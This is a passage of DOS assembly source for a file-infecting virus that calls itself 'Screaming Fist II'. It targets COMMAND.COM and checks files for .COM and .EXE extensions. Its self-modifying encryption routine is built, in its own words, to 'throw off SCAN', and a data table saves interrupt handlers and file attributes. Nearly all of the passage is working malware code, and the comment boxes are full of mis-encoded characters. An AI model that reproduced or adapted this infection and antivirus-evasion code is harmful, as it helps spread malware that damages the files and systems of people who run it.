;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
;Please don't be a lamer and change the text to claim it was your own creation ;
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
TEXT DB 'Screaming Fist II' ;For the AV people, can't have a dumb name!
COMMAND DB 'C:\COMMAND.COM',00 ;File infected
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
; This routine checks to see if the file at DS:DX has an extension of either ;
; .COM or .EXE. AX is set to zero if either condition is met, and non-zero ;
; If they aren't. ;
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
CHECK_NAME:
PUSH SI
MOV SI,DX
CHECK_FOR_PERIOD:
LODSB
OR AL,AL
JZ LEAVE_NAME_CHECK
CMP AL,'.'
JNZ CHECK_FOR_PERIOD
LODSB
AND AL,0DFH
CMP AL,'C'
JZ MAYBE_COM
CMP AL,'E'
JZ MAYBE_EXE
JMP SHORT LEAVE_NAME_CHECK
MAYBE_COM:
LODSW
AND AX,0DFDFH
CMP AX,'MO'
JZ FILE_GOOD
JMP SHORT LEAVE_NAME_CHECK
MAYBE_EXE:
LODSW
AND AX,0DFDFH
CMP AX,'EX'
JNZ LEAVE_NAME_CHECK
FILE_GOOD:
XOR AX,AX
LEAVE_NAME_CHECK:
POP SI
RET
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ
;This is the encryption routine. This is the only portion that remains <20>
;unencrypted. The bytes mark by an ENC_SWITCH are changed to throw off SCAN <20>
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ
ENC_START EQU $
DECRYPT_US:
POP BP
PUSH BP
ENC_SWITCH EQU $
MOV SI,BP ;Alternates between this and PUSH BP, POP SI
MOV AL,CS:[BP+ENC_BYTE-NEXT_PLACE] ;Get ENC key #1
MOV DL,CS:[BP+ENC_BYTE_2-NEXT_PLACE] ;Get ENC key #2
ENCRYPT_US:
MOV CX,ENC_LENGTH ;Length to encrypt or decrypt
ENCRYPT_US_II:
ENC_SWITCH_1 EQU $
NOT AL ;Alternates bewtween NOT and NEG
ENC_SWITCH_2 EQU $
XOR DL,AL ;Alternates between this and XOR AL,DL
ENC_SWITCH_4 EQU $
XOR BYTE PTR CS:[SI],AL ;Alternates bewteen AL and DL
SUB AL,DL
ENC_SWITCH_3 EQU $
NOT DL ;Alternates between NOT and NEG
ENC_SWITCH_5 EQU $
XOR BYTE PTR CS:[SI],DL ;Alternates between DL and AL
INC SI ;INC encryption pointer
ENC_SWITCH_6 EQU $
INC DL ;Alternates between INC and DEC
LOOP ENCRYPT_US_II
RET
ENC_BYTE DB 00 ;Storage space for encryption keys
ENC_BYTE_2 DB 00
FINI EQU $
LENGTH = FINI - CURTAIN_OPEN
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
;This is the data table and is not included in the virus size ;
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
DATA_BEGIN EQU $
OLD_ATTRIBS DW 00 00 ;File's old attributes
OLD_24_ES DW 00 00 ;Saves address of old INT 24
OLD_24_BX DW 00 00
OLD_DS DW 00 00 ;Saves DS and ES here on entering
OLD_ES DW 00 00
BUFFER_BEGIN EQU $
BUFFER EQU $
DB 1BH DUP(0) ;Buffer for bytes read in from file
BUFFER_END EQU $
DATA_END EQU $
DATA_LENGTH = DATA_END - DATA_BEGIN ;Length of Data Table
BUF_LENGTH = BUFFER_END - BUFFER_BEGIN ;Length of file buffer
ENC_LENGTH = ENC_START - OFFSET NEXT_PLACE
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